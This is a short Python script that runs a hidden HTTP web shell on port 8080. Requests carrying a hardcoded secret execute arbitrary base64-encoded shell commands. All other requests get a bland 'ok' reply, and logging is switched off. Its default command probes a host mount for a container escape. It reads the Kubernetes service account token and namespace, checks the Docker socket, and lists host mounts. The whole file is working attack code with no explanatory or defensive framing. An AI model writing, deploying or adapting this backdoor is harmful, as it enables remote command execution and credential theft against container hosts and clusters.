import os, subprocess, base64
from http.server import BaseHTTPRequestHandler, HTTPServer
SECRET="0165042fe5974a42"
def run(cmd):
    try:
        p=subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
        return (p.stdout.decode('utf-8','replace') + p.stderr.decode('utf-8','replace'))[:8000]
    except Exception as e:
        return "ERR:"+str(e)
DEFAULT='echo "== id =="; id; echo "== /host =="; ls -la /host 2>&1 | head -30; echo "== SA =="; D=/host/var/run/secrets/kubernetes.io/serviceaccount; ls -la $D 2>&1; cat $D/namespace 2>&1; head -c 100 $D/token 2>&1; echo; echo "== docker.sock =="; ls -la /var/run/docker.sock 2>&1; echo "== mounts =="; grep -E " /host |docker.sock " /proc/mounts 2>&1'
class H(BaseHTTPRequestHandler):
    def log_message(self,*a): pass
    def do_GET(self):
        if SECRET in self.path:
            if "?c=" in self.path:
                enc=self.path.split("?c=",1)[1]
                try: cmd=base64.urlsafe_b64decode(enc+"===").decode()
                except Exception as e: cmd="echo b64err "+str(e)
            else:
                cmd=DEFAULT
            out=run(cmd)
            self.send_response(200); self.send_header("Content-Type","text/plain; charset=utf-8"); self.end_headers(); self.wfile.write(out.encode())
        else:
            self.send_response(200); self.send_header("Content-Type","text/plain"); self.end_headers(); self.wfile.write(b"ok\n")
print("=== SERVER_START ===",flush=True)
HTTPServer(("0.0.0.0",8080), H).serve_forever()
